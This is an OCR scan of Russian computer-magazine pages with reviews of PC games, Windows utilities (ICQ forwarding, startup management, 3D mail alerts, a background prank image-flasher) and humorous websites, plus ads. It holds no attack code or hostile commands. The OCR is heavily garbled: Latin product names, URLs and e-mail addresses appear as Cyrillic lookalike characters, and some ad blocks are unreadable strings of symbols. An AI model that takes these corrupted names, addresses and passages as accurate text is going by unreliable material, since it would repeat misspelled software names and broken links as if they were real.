Да, Я хочу получать 

БЕСПЛАТНЫЙ КАТАЛОГ Е-ЗЛор 


























Юниты 






Зіерап ІІуіп ака 51ер (з1ер@геаІ. хакер. ги) 



I Обломись —— 

^отечественная 

адвенчура. Сценаристы отошли 
от пошлых шуток, уже ставших 

стандартом де-факто в подобных 



играх, и придумали забавный 
сюжет (кстати, очень схожий с 

книжным). Каждая реплика или 
надпись на стене -очередной 

прикол. Уже за это игра 

заслуживает хорошей оценки, да 

еще звук и графика не подкачали. 



ХОРОШО 



Урожденная 



ѴѴЫІеОій 



Гонки на снегоходах 



Описуха 



ПРИГОВОР 



Порт с приставки, 
представляющий собой жуткие 
аркадные гонки на «бигфутах». 
Разработчики наплевали на 



| физику, поэтому о каких-либо 
«заносах» и т.п. и речи не идет. 
Все что от тебя требуется - не 
заснуть, нажимая поочередно 
клавиши поворотов направо и 
налево. Хотя... теперь тебе будет, 
чем занять пятилетнего 
племянника. 








Урожде нная | 
Жанр 



ѴѴаг апсі Реасе: 1796-1815 



30 НТЗ 



Похожесть ЗІюрип: ТоіаІ Ш 
Мать/отец Місгоісіз/Місгоісіз 

Требует Р3-700(Р4- 

Групповуха Обломись' 
Описуха 



Неплохая стратегия с уклоном в 
экономику. Время, которое охва- 
тывает игра, было бурным, и ре- 
альные сражения, известнейшие 



исторические личности (Суво- 
ров, Кутузов и другие) делают 
сюжет не только увлекательным, 
но и познавательным. Игра 
действительно затягивает, хотя 
графика, к сожалению, подкача- 
ла. ЗО-сражения выглядят более 
чем убого. 



ПРИГОВОР 



СРЕДНЕ 



Урожденная 



ипгеаі II: ТІіе Аѵѵакепіпд 



ГРЗ 



Первая часть грандиозной игры 
просто не могла остаться без 
продолжения. И вот оно вышло. 
Только радоваться что-то не хо- 



чется. Да, графика на высочай- 
шем уровне, геймплей затягивает 
не на шутку, а такой качественной 
реализации объемного звука я 
еще не видел. Но вам не кажется, 
что 5- 10 часов игрового времени 
маловато для игры столько высо- 
кого уровня? Тем более много- 
пользовательская игра не предус- 
мотрена. 




1Г 



ПРИГОВОР 



ХОРОШО 



Урожденная 



Аіг Зігіке ЗР: Орегаііоп ѴѴ.А.Т 



ЗсгоІГзІюоіег 



Еще один сюрприз от российских 
производителей. Перед нами за- 
мечательная вертолетная леталка 
с видом сверху. Да, сюжет нека- 



зист. Да, аркада. Но играть в і 
- одно наслаждение. А все дело 
в суперской графике и продуман- 
ности геймплея. На протяжении 
игры ты сможешь полетать на 
нескольких десятках вертолетов, 
опробовать кучу оружия, подор- 
вать к чертям базы террористов и 
многое другое. Еще бы звук по- 
разнообразней... 



ПРИГОВОР 



ХОРОШО 



І 
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'Реррум 


2 


Іпзігіе 


3 


РС_2опе 


4 


Взлом 

















МОМ || кино 

мам -кино 

на яуфяках 




Смотрит* : 

Госпожа горничная 
8 Миль 

История любви 

Небо, самолет, девушка 

ГОС 

|б здлоѳ со за ѵі- сь/ йвііѵ оюітль ех| 
іиамАш СЕАмосаы каждыі за чнл«»т 
1*0 НОВЫХ ФИЛЬМОВ В МЕСЯЦІ 



т «ріуншнычан 



Юниксоид 











Юниты 



Зіерап Иуіп ака 5іер (з!ер@геаІ. хакер. ги) 



МЯІІІ АпоШегЩаг 




ицл иіѵіѵіьѵ 

Разработчики, видимо, так и не 
выбрали на чем остановиться - то 
ли на КРО, то ли на асііоп’е. В 
итоге получился какой-то недоно- 







шенный гибрид, неудачный клон, 
представляющий собой лоскутное 
одеяло. Кусок отсюда, кусок отту- 
да, а вместе - непонятно что. До- 
бавь к этому жуткое управление, 
сомнительные характеристики ге- 
роев и абсолютно идиотский АІ. 
Хотя сюжет ничего, даже шутки 
есть. 



ПРИГОВОР 



Урожденная 



Огот - весьма необычная игра. 

С одной стороны, жанровая раз- 
нообразность, модная графика и 
звук, продуманность оружия, вну- 



шающие уважение бойни, прек- 
расные ландшафты и пейзажи. 

Но с другой - чересчур сложные 
последние уровни и абсолютно 
идиотские глюки интерфейса. Но 
все-таки играть действительно 
интересно, благо сценаристы и 
актеры на славу поработали над 
сторил айном! 



ПРИГОВОР 



ХОРОШО 



РоигРоигТѵѵо: ТоисЫіпе Раззіоп 



Требует Р2-350(РЗ-500), 128(256), ЗР 



Групповуха МА/, инет 



Описуха 



ПРИГОВОР 



В профессиональном спорте сей- 
час крутятся огромные деньги, 
поэтому грамотно руководить 
футбольным клубом под силу да- 



леко не каждому. Игрушка «4-4-2» 
как раз для тех, кто хочет себя 
попробовать в этом нелегком де- 
ле. Вся бухгалтерия команды, ее 
участие в чемпионатах, ее состав 
и гонорары - все это твои труд- 
ности. Занимательно, но надое- 
дает быстро. 



СРЕДНЕ 



Урожденная 



Жанр 



СоттапсІ&Сопдиег: Сепегаіз 



зрртз 



Похожесть 



Мать/отец 



Требует 



Групповуха 



Описуха 



ПРИГОВОР 



Етрегог, Аде оі Муііюіоду 



ЕА РасіІіс/ЕІесігопіс Агіз 



РЗ-800(Р4-2вЫ . 128(512), ЗР 



МА/, инет 



Еще первая часть игры положи- 
ла начало моей вечной любви к 
ВТЗ. Поэтому мне особенно 
приятно видеть столь продуман- 




ное и идеально реализованное 
продолжение. 

Разработчики представили нам 
супер 30-движок, незабываемый 
звук и музыку, удобный интер- 
фейс и управление, абсолютно не 
похожие друг на друга враждую- 
щие нации. Недостатки все же 
есть, но на общем плане на них 
не обращаешь внимания. 




Урожденная 



Жанр 



Требует 



Групповуха 



Описуха 



ПРИГОВОР 



Мопзіег ^т: Махітит Оезігисііоп 



Г энки на «бигфутах» 

Сагтадеббоп, РРегЬу 

НідІ і Ѵоііаде ЗоШіаге/ЦЫ Зоб 



Р2-450(РЗ-700), 128(256), ЗР 



Зрііі-зсгееп 



Еще один порт с приставки. Под 
видом симпатичных аркадных го- 
нок скрывается, мягко говоря, 
посредственная игра. Чувство 



ЛАЖА 



разнообразия «бигфутов» ложное, 
в большинстве своем это одни и 
те же машины различных пестрых 
расцветок. Трассы однообразные 
и до безобразия тупые, причем 
явно не предназначенные для го- 
нок подобного класса. Зато гра- 
фика впечатляет, отсюда и пер- 
воначальное ложное впечатление. 



92 Ньюсы 



Реррум 



Іпгігіе 



РС 2опе 



Взлом 
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■ Грогім'ьскікиіі працетссср МѴіОіА 246— бит СлГягш* 

71 4НЙ-ІХ СР1|, ШМГч 

* Пцыпи. 1 24- Г*п , ЁнЧЛ ЗЙ № С-ОР нл ііСО МГц 

■ 2 я Э$а МГц ГиМСЛС 

мпк-с4імі]пынэа р.тзраи.-с іі№і 2І*4Й;н 1 ІкІхвУЗГ ц 

* Падасржка ТѴ-ОіД ѴЮ и СѴІ « длм мс-ддгмж с ѴіО н ЛѵІ^і 
11 Саанлсттюстьс СггпчіСХ Й I 

- Пвдртржка Мгі 21ХЧ^кР.ШЕЛѵіТ^Х 





М ргаііпі: СО*П.Гі^ 



Офнцшлим- фк грнйугпры ■ ’Рп 



сийікш** 

т аь-гн-т» 
іи !ш-т-яи 

ѵнл**Ьл ги 



В№1№ 

ЗЕк. 1^-лма 
РУ« ИІ7-ІП-4Ш С- 



тр=гіі=м 



В СамойБыстройБродилке под 
названием ОПЕРА есть такая фенеч- 
ка. Давим АІНР или Файл-Наст- 
ройки пункт Личные данные и 
скромно вводим инфу о себе. Ис- 
пользуй поля "Другое ?1-3" для вво- 
да всякой хрени (имя брата, на вся- 



кий случай, номер креды :)). А по- 
том, заполняя очередную анкету 
знакомства, кликаешь в поле правой 
кнопой-Добавить. И все! 

Спиридонов Стас ака Ѵ4пР4У_ 
ѵ4псІ4ІІ@затіеІ.ги 
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кАЬзоІиІе ЗіагШр ѵ 2.0 



ІІІІІІІІІІІ н 

Іаленькая программа для автоматической пересылки к 
ходящих сообщений с ІСО на мобильник. Лицом нека- 
иста, но весьма гЬѵнкииональна. На телегЬон сообше- I®* 




Г 

ли 



Зііе: 179 КЬ 
# # # Ргееѵѵаге 
•• ІіИр://сІгдоп 20 .пт.ги 



Маленькая программа для автоматической пересылки 
входящих сообщений с ІСО на мобильник. Лицом нека- 
зиста, но весьма функциональна. На телефон сообще- 
ния уходят в формате «дата время 1С0_ШМ/№сК текст 
сообщения». Разбивку длинных сообщений на несколь- 
ко частей ІСО Роп/ѵагсіег производит самостоятельно. 
Если ты опасаешься, что твою мобилу таким образом 
заспамят, число пересылаемых сообщений можно ог- 
раничить. Для этого в файле Ісціѵѵ.іпі надо задать пара- 
метр І_ітіІ равным, скажем, 20, тогда после отправки 
указанного количества мессаг ІСО Роп/ѵагсіег будет ухо- 
дить в офлайн. Кстати, должен заметить, что любые 
настройки этой софтины выполняются путем редакти- 
рования файла Ісцй/ѵ.іпі. И перед первым запуском ІСО 
Роп/ѵагсіег тебе будет необходимо, как минимум, впи- 
сать туда номер телефона, указать ШИ и пароль к нему. 
Впрочем, никаких сложностей эта процедура не вызы- 
вает - все настройки в ІсцТѵѵ.іпі доходчиво прокоммен- 
тированы на русском языке. 

По совместительству ІСО Роп/ѵагсіег может работать 
автоответчиком - в этом случае любой человек, ки- 
нувший тебе на аську месагу, незамедлительно полу- 
чит ответ. Что-нибудь вроде «Меня нет на месте. Воз- 
можно, я скоро получу Ваше сообщение на мобиль- 
ный и выйду на связь». Ну а о том, что программа ста- 
рательно ведет лог всех входящих сообщений, и гово- 
рить-то, я думаю, не стоит :). 




► ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 

► 5іге: 1101 КЬ 
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• • ЗІіагеѵѵаге 
► Іі11р://ѵѵѵѵѵѵЛдгоирзоЙ.сот 
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Уникальная многофунк- 
циональная утилита для 
управления прогами, 
автоматически стартую- 
щими при загрузке 
ѴѴіпсІоѵѵз. С ее помощью 
можно не только комфо- 
ртно редактировать со- 
держание папки Авто- 
загрузка, файл ѵѵіп.іпі и 
соответствующие ключи 
реестра, но и четко пла- 
нировать, когда и при 
каких условиях должны 
стартовать те или иные 
проги. Например, 

АЬзоІиІе ЗіагШр ничего 
не стоит сделать так, 
чтобы при запуске сис- 
темы все автозагружае- 
мые проги стартовали 
не разом, а одна за дру- 
гой с некоторой задерж- 
кой. Еще вариант: часть 

программ запускается не при загрузке ѴѴіпсІоѵѵз, а лишь тогда, когда ты подключишься к Сети. А мо- 
жет быть, ты хочешь запускать какие-то проги по расписанию? Скажем, раз в день? Или только по 
выходным? Впрочем, о чем это я?!! Это же все стандартные функции! Лучше расскажу тебе о 
действительно уникальной фишке под названием «Контролируемый старт». Благодаря ей можно до- 
биться того, чтобы при старте операционной системы загружался именно тот комплект программ, 
который тебе нужен в данный момент. Выбор необходимого комплекта производится с помощью го- 
рячей клавиши (АН, СігІ, 8ЫІІ) на последнем этапе загрузки системы. То есть, допустим, ты не тро- 
гаешь клаву - грузится стандартный набор программ, нажал и подержал 8№П - грузится текстовый 
редактор и электронный словарь, «придержал» при запуске АН - не грузится ничего лишнего, все 
системные ресурсы можно выделить своей любимой игрухе. Ну, скажи, разве это не здорово, а? 




Се 5Г‘ 



Зй МаіІ ЕТСесІз ѵ 6.0 




• • • • 

• • • ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 

• •• Зіге: 1557 КЬ 

• • • • 

• • • ЗІіагеѵѵаге 

• • • 

• • • • Іі11р://ѵѵѵѵѵѵ.ЗсІтаіІе^ес1з.сот 



Программа для регулярной проверки почто- 
вых ящиков. Извещает о поступлении новой 
корреспонденции с помощью вывода на эк- 
ран заранее заданного трехмерного объек- 
та. В качестве такого объекта может высту- 
пать любая модель, записанная в формате 
ЗР8 (30 Зіисііо П4). Этот формат широко 
распространен, поэтому я не обращал осо- 
бого внимания на то, что сама программа 
может похвастаться только одной встроен- 
ной моделью - литерой «Е». Я просто сразу 
же заменил эту невзрачную буковку доволь- 
но злобной черепушкой, добытой на сайте 
ѵѵѵѵѵѵ.ЗсісаТе.сот. Хотя, если честно, я полез 
на этот сайт за трехмерной моделью обыч- 
ного почтового конверта - хотел, чтобы у ме- ^ | 

ня компьютер сигнализировал о появлении 
свежей почты изображением вращающегося 
письма (как в голливудских фильмах), да ни- 
чего подходящего не нашел. Надеюсь, тебе повезет больше. Но что-то я отвлекся... 

Само собой, в 30 МаіІ ЕКесІз пользователь может регулировать размеры модели, ее ориентацию в простра- 
нстве и положение на экране. Также разрешается натягивать на 30-модель любую текстуру (ВМР-файл, 256 
на 256 точек). Правда я с дополнительными текстурами не заморачивался - меня вполне устроило, что че- 
реп, плавно вращающийся на моем Рабочем столе, отливает золотом. 

Помимо сигнализации с помощью трехмерных моделей, 30 МаіІ ЕКесІз способна подавать и более привыч- 
ные звуковые сигналы, мигать иконкой и светодиодами на клавиатуре. В окне программы (поддерживаются 
скины) отображается текущее состояние твоего почтового ящика, причем заголовки писем, написанные по- 
русски, отображаются корректно. 30 МаіІ ЕНесІз может мониторить неограниченное количеством почтовых 
ящиков и удалять ненужную почту, не скачивая ее на компьютер. Короче говоря, эта не бесполезная софтин- 
ка с одним любопытным наворотом, а нормальная рабочая утилита, к которой тебе определенно стоит прис- 
мотреться повнимательнее. 















ОСЕ Аиіо 
ЕпЬапсе ѵ 2. 




ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 
Зііе: 1294 КЬ 
ЗІіагеѵѵаге 
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Обмениваться снимками 
по Сети хотят многие, од- 
нако редкий юзер может 
себе позволить приличный 
цифровой фотоаппарат. 

Вот и снимает народ тем, 
что есть под рукой. Напри- 
мер, я делаю снимки ви- 
деокамерой Рапазопіс 
ЭЗЗОЕИ. Получается, 
честно говоря, паршиво. И 
если бы не программа ОСЕ 
Аиіо ЕпИапсе, я давно бы 
бросил это дело. ОСЕ Аиіо 
ЕпИапсе - это такая специ- 
альная прога для обработ- 
ки цифровых снимков. Она 
улучшает цветопередачу и 
баланс, подавляет шумы, 
позволяет управлять насы- 
щенностью и четкостью 

изображения. До знакомства с ней я пытался выполнять аналогичные 
операции в РИоІозИор’е, но конечный результат явно не стоил усилий, 
затраченных на его достижение. А в ОСЕ Аиіо ЕпИапсе все просто и по- 
нятно: снимок «до», снимок «после» и несколько вкладок с ползунками. 
Немного поманипулируешь ползунками, добиваясь максимального ка- 
чества изображения, и записываешь заметно похорошевший снимок на 
диск. Но самое интересное, что, вручную настроив ОСЕ Аиіо ЕпИапсе по 
одному изображению из серии, все остальные можно взять и прогнать в 
автоматическом режиме. Хотя, если пакетная обработка снимков тебя 
не особенно интересует, ты можешь сэкономить время на поиске кряка 
и скачать с того же сайта младшего брата ОСЕ Аиіо ЕпИапсе - програм- 
му Ргее Рідііаі Сатега ЕпИапсег. 



;|;і АігІЧаѵ І_іѵе НідИІ 
: !І: Тгаскегѵ2.0 
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Программа, наг- 
лядно показыва- 
ющая, какое ог- 

ство самолетов * 

постоянно кру- 
жит над нашими ■ 

головами, и поз- 
воляющая в ре- 
альном времени 
отслеживать лю- 
бой полет. Боль- 
шую часть окна 
АігИаѵ І_іѵе РІідНІ 
Тгаскег занимает 
карта, на кото- 

условные обоз- 
начения самолетов и аэропортов. Указав курсором на любой самолет, 
ты моментально получишь исчерпывающую информацию о том, что это 
за машина, какой компании она принадлежит, откуда вылетела, куда, 
сколько времени находится в пути, на какой высоте летит, с какой ско- 
ростью и т.д. Эх, да что там говорить! В некоторых случаях, кликнув по 
условному значку правой кнопкой мыши и выбрав в появившемся конте- 
кстном меню пункт «$Ноѵѵ те рИоІоз оі а зітііаг ріапе » , можно даже 

увидеть в окне браузера фотографию соответствующего самолета. Учи- 
тывая то, что этот софт с радостью выдает пользователю еще и подроб- 
ные сведения о любом интересующем его аэропорте, становится непо- 
нятно, почему эту прогу назвали АігИаѵ Ыѵе РІідЫ Тгаскег’ом, а не, ска- 
жем, «Мечтой террориста» :). 




ВНИМАНИЕ!!! 



ПОЧТОВАЯ 




Открылась подписка 
на второе полугодие 
во всех отделениях 
связи России 
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Немного повозившись с Зй МаіІ ЕНесІз, я обнаружил, что 
эта прога не обладает способностью автоматического 
масштабирования, в результате чего многие ЗР-модели 
либо не вписываются в область показа, либо выводятся 
на экран в виде маленькой незаметной точки. Поэтому, 
если ты хочешь получить качественную картинку, разме- 
ры таких моделей придется корректировать самому... 
Тут, правда, возникает маленькая заковырка - далеко не 
каждый юзер имеет в своем распоряжении приличный 
ЗР-редактор, а ставить его ради такой мелочи никто не 
станет. Нужна альтернатива. И такой альтернативой впол- 
не может стать Реер Ехріогаііоп - специальный вьювер, 
позволяющий открывать файлы множества популярных 
ЗР-форматов (Зіисііо, ЫдііМаѵе, Саіідагі, Оігесі X, ѴВМІ_, 
Сіпета 40 , АиІоСАР и многих других) и умеющий конвер- 
тировать объекты из одного формата в другой (если необ- 
ходимо, то и с внесением некоторых корректив, требуе- 
мых, к примеру, программой ЗР МаіІ ЕНесІз :). Програм- 
ма имеет простой и понятный интерфейс с деревом ката- 
логов и областью просмотра. Модели можно вращать, 
масштабировать и перемещать с помощью мыши. Выво- 
дится вся информация о сцене и отдельных ее составля- 
ющих. Впрочем, последнее вряд ли заинтересует неспе- 
циалистов. Другое дело - встроенный модуль для поиска 
моделей в инете :). Вот это действительно важно! 

Какой же вывод можно сделать из всего вышесказанного? 
Да только один! Дистрибутивчик Реер Ехріогаііоп следует 
на всякий случай записать на винчестер - в наше время 
иметь дело с ЗР-моделями в различных форматах порой 
приходится даже самым обычным пользователям 



г 




ЗР Еуе СоІІесІіѵе 
Іпіогтаііоп Різріау ѵ 1 .0 



ѴѴіпсІоѵѵз 9х/М е/МТ/2 к/ХР 
Зііе: 356 КЬ 
ЗЬагеѵѵаге 
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ЗР Еуе СоІІесІіѵе Іпіогтаііоп Різріау - это очередная попытка сделать из обычного интернета трехмерный 
путем размещения большого количества отдельных веб-страниц в виртуальном пространстве. Фишечка 
именно этой разработки заключается в том, что программа позволяет создавать и сохранять подборки 
интеренет- ресурсов. Получается что-то вроде трехмерного менеджера закладок. В принципе ориентиро- 



ваться в такой коллекции ссылок довольно удобно - ты видишь четкую структуру, состоящую из умень- 



шенных изображений веб-страниц, а не просто строки текста. Клик по изображению необходимой тебе странички вызывает открытие соответствующего адреса в браузере. 
Программа выполнена в виде дополнительной примочки к Іпіегпеі Ехріогег. После ее установки в окне бродилки появляется дополнительная инструментальная панель. 
Используя кнопки на этой панели, можно быстро загружать готовые коллекции веб-страниц, создавать новые, добавлять в коллекцию отдельные странички и целые сай- 
ты. Последнее, кстати, особенно забавно - открыл ты, допустим, в ослике ѵѵѵѵѵѵ.хакер.ги, нажал на панели Зй Еуе кнопку «Зрісіег Ііпкз Ігот ІНіз раде», и тут же перед тво- 
ими глазами начинает вырисовываться своеобразная ЗР-версия официальной паги журнала... 
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ѴѴіпсІоѵѵз 9х/М е/МТ/2 к/ХР 
Зііе: 240 КЬ 
Ргееѵѵаге 
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ѴѴіпсІоѵѵз 9х/М е/МТ/2 к/ХР 
5іге: 1746 КЬ 



Ы1р://ѵѵѵѵѵѵ.С5.ипіЬо.іѴ~Уѵѵ1004/5ііску 



Приближается 1 апреля. 
Отдельные несознатель- 
ные личности уже нача- 
ли ползать по Сети в по- 
исках свежих прог-за- 
подлянок. И нет ничего 
удивительного в том, что 
самый известный произ- 
водитель подобного ро- 
да продукции компания 
НЛ ЗоНѵѵаге, поспешила 
выложить для свободно- 
го скачивания свою но- 



В1 



вую разработку - прог- 
рамму РІазНег. Указан- 
ная софтина умеет с за- 
данной частотой высве- 
чивать на экране задан- 
ное изображение. Пос- 
кольку изображение высвечивается лишь на миг, жертва розыгрыша вполне 
может поначалу принять работу проги за фокусы собственного подсознания. 
И действительно, это весьма изощренное издевательство. Ты лишь предс- 
тавь себе, что будет, если фанату начнет мерещиться эмблема ненавистной 
ему команды, начальнику - логотип конкурентов, а вечно озабоченному сту- 
денту - образ роскошной женщины в соблазнительной позе... Хе-хе... 
Настройка программы сводится к заданию картинки и периода между 
«вспышками». Интерфейс, как таковой, у РІазНег’а отсутствует - все необ- 
ходимые параметры передаются в командной строке (см. файл 
геасІте.НІт, идущий в комплекте). Программа понимает любую графику в 
форматах иРС, ВМР, ЕМР, ѴѴМР и ІСО. Выполняется РІазІіег в фоновом ре- 
жиме, незаметно для пользователя, но самостоятельно в Автозагрузку не 
прописывается. Для закрытия программы следует поместить указатель мы- 
ши в левый верхний угол экрана. 



Забавный плагин для 
ѴѴіпсІоѵѵз Месііа РІауег’а и №■ 

ѴѴіпатр’а - фигурки, тан- 
цующие в такт музыке. 

Множество самых разно- 
образных сюжетов: ске- 
летики на кладбище 
празднуют Хеллоуин, на- 
род оттягивается на ве- т 4*1 

черинке, космонавт на- I I 

ворачивает круги вокруг 
Земли, злобные музы- 
канты зажигают на сце- 
не. Большинство фигу- 
рок нарисовано прими- 
тивно, но некоторые выг- 
лядят вполне достойно. П ■ 

Особенно меня приколол 

президент США, который «г ж ■ дуГи 

несколько нервно дер- 
гался под песню Красных 
Элвисов «А Кедда Веег 
апсі Роіаіо СЫрз». Но ты 

же понимаешь, я бы не стал рассказывать тебе о Оапсіпд §(іск Рідигез, если 
бы это была обычная софтина из разряда «просто еще один плагин для 
ѴѴіпатр’а». Нет, Оапсіпд Зііск Рідигез попали в ШароѴѴАВЕ2 благодаря тому, 
что вместе с плагином поставляется специальный редактор, позволяющий 
любому юзеру замутить танцующую фигурку собственного производства! А 
это, согласись, в корне все меняет! Ведь одно дело, когда под музыку по эк- 
рану прыгает паучок, и совсем другое, когда то же самое делает отсканиро- 
ванная фотка твоего приятеля. Особенно если она не просто перемещается с 
места на место, а еще и весьма активно машет при этом ручками и ножками! 







Эту тѵхиииу стоит купить! 










- I* 



I 










и 

г' 



Сі ‘и-О ШЫ 1*Ш’4 



»□№ С-АЯр чтя 


■оигдз с а№ -і ят 


ЯЛ ЬЧШ і ныАіп іа-4 і в- 





АЙН 



АТ. я 

ВЕЛ. 5 Е М 1 Т г 



АТ И 



НЕ ПРОПУСТИ ПОДАРКИ ■ САЛОНАХ РОПСЕ СОМРиТЕРЯІ 

ПОДАРОК иамалімам I 





97 














Юниты 



Спонсор рубрики «Юниты» - ЦНТ центральный телеграф 
ѵѵѵш.сііаіир.спі.ги, ѵѵѵш.сагсіз.спі.ги 



ШШѴѴ 



Алекс Экслер (ехІег@ехІег.ги) 



Набор для 
«пьяных шашек» 



ННр://тіпіЬоШе.ѵігІиаІаѵе.пеІ 



Человеко-часы 



ИІір://ѵѵѵѵѵѵ.ИитапсІоск.сот 



Посетив этот сайт, понимаешь, что 
возможности саморазвлечения в 
интернете - поистине безгранич- 
ны... В данном случае идея простая. 
Заходишь на сайт, выбираешь вид 
часов (со стрелками или аналого- 
вые), затем отмечаешь временную 
зону и... Перед тобой каждую мину- 
ту возникает реальная фотография, 
на которой изображено время. Это 
может быть человек, держащий пла- 
кат с написанными на нем цифрами, 
изображение часов в автомобиле, 
доме или на вокзале, собачка с пла- 
катом в зубах и так далее и тому по- 
добное. И как представишь, сколько 
на этот проект потрачено времени и 
людских ресурсов, так сразу... Так 
сразу хочется сфотографировать се- 
бя с картонкой в руках, на которой 
написано время, и отослать фотку 
этим ребятам, чтобы оставить свой 
след в истории. 



нн гірчвд 



- 




Думаете, просто заманиваю, 
а там внутри нечто грандиоз- 
ное? Правильно, грандиоз- 
ное! Кнопка для нажимания! 
Медитативно, афористично, 
метафизично, седативно, 
расслабляюще, умиротворя- 
юще, реалистично, но в то 
же время - трансценден- 
тально. Насладись сам, нас- 
лади свой мятущийся ум. 
Лично я потратил на этот 
сайт ровно 1 2 минут и 54 се- 
кунды, о чем ни капли не по- 
жалел. Только на забудь о 
том, что на кнопку надо на- 
жимать спокойно и без рыв- 
ков. И если ты еще не по- 
нял, что это такое, объясняю 
популярно. Это «Метафизи- 
ческая конструкция, пред- 
назначенная для осознания 
индивидом тщетности чело- 
веческих усилий, иллюзор- 
ности собственного сущест- 
вования и эфемерности все- 
го сущего». 



Вряд ли кому-ни- 
будь, даже на диком 
вебе, придет в голо- 
ву собирать коллек- 
цию мерзавцев. А 
вот собирать «мер- 
завчиков» - почему 
бы и нет? «Мерзав- 
чиками» спокон ве- 
ков в народе зовутся 
ма-а-а-а-аленькие 
бутылочки со спирт- 
ным вместимостью 
50 миллилитров. По- 
чему именно «мер- 
завчики»? Все очень 
просто. Дело в том, 
что нам, русским и 
русифицированным людям, 50 граммов, которые содержатся в такой бу- 
тылочке, - ни уму, ни сердцу. Разве что в чай добавить. Выпивать такие ко- 
личества - бессмысленно. Вот и получается, что это не бутылочка, а чис- 
тый мерзавчик: дразнит алкоголем, а толку с него - как с ѴѴіпсІоѵѵз на 286- 
м компьютере. Вот неизвестный молодой человек и рассудил: на черта 
пить такие бутылочки? Их надо собирать. Для потомков. Чтобы потом как- 
нибудь разом все выпить. Собирал он, собирал... И дособирался аж до 
1500 штук, которые заботливо сфотографированы, отсканированы и выс- 
тавлены на сайте, чтобы мы смотрели и облизывались - эх, вот как бы та- 
кими бутылочками в пьяные шашки сыграть... 



Хочешь штучку на 
\ батарейках? 

Нир:/ДгіепсИіпс1ег.*год.ги 



Совсем уже обалдели. 

Мало им тамагочи и сай- 
тов знакомств. Теперь вы- 
пустили РгіепсІРіпсІег - 
нечто среднее между пер- 
вым и вторым. Эту пласт- 
массовую заразу нужно 
кормить батарейками, а 
она в благодарность бу- 
дет пищать, когда мимо 
тебя проходит другое че- 
ловекообразное существо 
противоположного пола, 
которое свою томагочу 
настроила примерно на то 
же, что и ты. Настраива- 
ется там цель знакомства: поговорить, выпить, полюбиться, поужинать. 
Непонятно, впрочем, почему «поужинать» является квинтэссенцией пер- 
вых трех целей, но это проблема создателей устройства. Что характер- 
но, файндеры для мальчиков выпускаются голубого цвета. Для девочек - 
розового. Но срабатывают эти пластмассовые заразы только на проти- 
воположный пол. Ну, хоть на том спасибо... Так что если у тебя сломал- 
ся рот или ты начисто забыл, как можно знакомиться живьем - тебе на 
этот сайт. Разоряйся на батарейках. Так тебе и надо! 
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ИН ТЕР НЕТ- КАРТА 

" ЭКСТРА " 



Замочи педестрианов! 



Шр://кіІІег.ЛаЬогаІогіит.огд 



Симпатичный такой 
сайтик, который на- 
зывается «Педестри- 
ан киллер». Впрочем, 
пугаться не нужно, к 
гомофобии этот ре- 
сурс не имеет ни ма- 
лейшего отношения. 

«Педестриан» - так 
по-английски назы- 
вают пешеходов. Ну 
да, такой дурной 
язык. А ты думаешь, 
почему Диккенс так мучился?.. Но не волнуйся, в игре нет ничего не- 
эстетичного. Просто пешеходы перебегают дорогу, а ты их давишь 
машиной. Задавишь мало - получишь немного очков. Задавишь мно- 
го - будешь поощрен высокими баллами. Очень романтичная игруш- 
ка, мне понравилось. И вовсе неправда, что она воспитывает какие- 
то не такие чувства. Мне в реальной жизни после нее ни разу не хо- 
телось задавить пешехода. А если и хотелось, то вовсе не из-за этой 
игрушки. Потому что эти негодяи ведут себя, как полные идиоты: 
бросаются под колеса, никуда не смотрят и так далее. Но странно то, 
что как только я начинаю ходить пешком, как полные идиоты ведут 
себя водители. Это какой-то парадокс, честное слово! 



БЫСТРО 

- НАДЁЖНО 

— ВЫГОДНО 



Два вагона разнооб- 
разных терминов 





_ ч е 






Иир://ѵтѵѵ.1егтз.ги 



Сам ресурс, может, и 
не дикий - полное 
собрание всевозмож- 
ных терминов из все- 
возможных областей 
человеческой дея- 
тельности для все- 
возможных полов, 
возрастов и родов 
войск. А вот приме- 
нение этого энцикло- 
педического безоб- 
разия может привес- 
ти к довольно диким 
эффектам. Вот, нап- 
ример, хочется тебе 
произвести впечатление на тетку, которая учится в музыкальном учи- 
лище... Ну и вперед! Подготовил шпаргалку на этом сайте, а при 
встрече забузолил следующее: «Ты представляешь, вчера с друзьями 
немного помузицировали. Ну так, просто для души. Конечно, это был 
не литердафель, но получился вполне пристойный гамелан. Я играл 
на аркичембало, Вован - на джалтаранге, Серега изгалялся на пипе, 
Петька укрощал тридекснис. Хорошо поиграли. Начали с простенько- 
го багателя, а потом, когда дольче перешло в сфорцандо, как рубану- 
ли тонадилью со сплошными амбушюрами, так септорика субмоти- 
вом и дошла до монотематизма, обойдясь без каденции. У Митьки 
даже смычок от его хийуканнели треснул, после всех этих скорпатур». 
Думаю, девушка после этого будет твоя. 



БУДНИ • 

вече ром і н т де 24 □ □ ) — о. а в уі/чаи 
ф НОЧЬЮ (с 00:00 до 03:00) - 0.25 УЕ/час 

выходные * — 

<С 09-00 СУББОТЫ ДО 09:00 ПОНЕДЕЛЬНИКА) 

НОЧЬЮ (С 00:00 ДО 09:00) - 0,25 УІ/ЧАС 
В ОСТАЛЬНОЕ ВРЕМЯ (С 09:00 ДО 24:00) - О „60 ѴЕ/ЧАС 

* СПЕЦИАЛЬНЫЙ МОДЕМНЫЙ ПУЛ ! 

* БЕСПЛАТНАЯ ДОСТАВКА КАРТ ! 

* ТЕСТОВЫЙ ВХОД I 

* ЦЕНЫ С УЧЕТОМ НДС I 



ПРИОБРЕТЕНИЕ И БЕСПЛАТНАЯ ДОСТАВКА КАРТ 
ТЕЛ-: ДОІ) ТП- 1 ІТ 7 . 777-24*9 
ѴѴѴѴІАГ.ЕЫЕТ.Ки 



<§>ЭЛВИС-ТЕЛЕКОМ 



ДИЩСНІИИ МИНСЕРЗ-М ИР: ИІЧ*В. 







Юниты 



РАО 



Зіерап ІІуіп ака 31 ер (Тад@геаІ.хакер.ги) 



Задавая вопрос, подумай! Не стоит мне посылать 
вопросы, так или иначе связанные с 
хаком/кряком/фриком - для этой есть Паск-Тац 
(ПаскТад@геаІ. хакер, ш), не стоит также задавать 
откровенно ламерские вопросы, ответ на которые 
ты при определенном желании можешь найти и 
сам. Я не телепат, поэтому конкретизируй вопрос, 
присылай как можно больше информации. 



О Я - сг&ыгг 

***** - гак " “ 

отсюда: Шр://ѵдтап.паго().ги/іг/і5о/іпаех.Мпі. 









ш вя 



